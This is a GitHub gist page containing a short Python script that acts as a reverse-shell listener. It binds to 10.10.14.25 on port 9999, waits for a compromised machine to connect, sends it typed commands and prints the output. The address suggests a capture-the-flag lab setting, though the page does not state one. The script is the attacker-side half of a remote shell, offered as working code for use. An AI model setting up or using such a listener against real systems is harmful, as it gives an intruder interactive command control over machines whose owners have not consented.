Created
February 15, 2023 10:19
-
-
Save sathishshan/9953ea407d4322d2d2a81b91fcbfb02d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket, sys, time | |
def listen(ip,port): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.bind((ip, port)) | |
s.listen(1) | |
print("Listening on port " + str(port)) | |
conn, addr = s.accept() | |
print('Connection received from ',addr) | |
while True: | |
#Receive data from the target and get user input | |
ans = conn.recv(1024).decode() | |
sys.stdout.write(ans) | |
command = input() | |
#Send command | |
command += "\n" | |
conn.send(command.encode()) | |
time.sleep(1) | |
#Remove the output of the "input()" function | |
sys.stdout.write("\033[A" + ans.split("\n")[-1]) | |
listen("10.10.14.25",9999) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment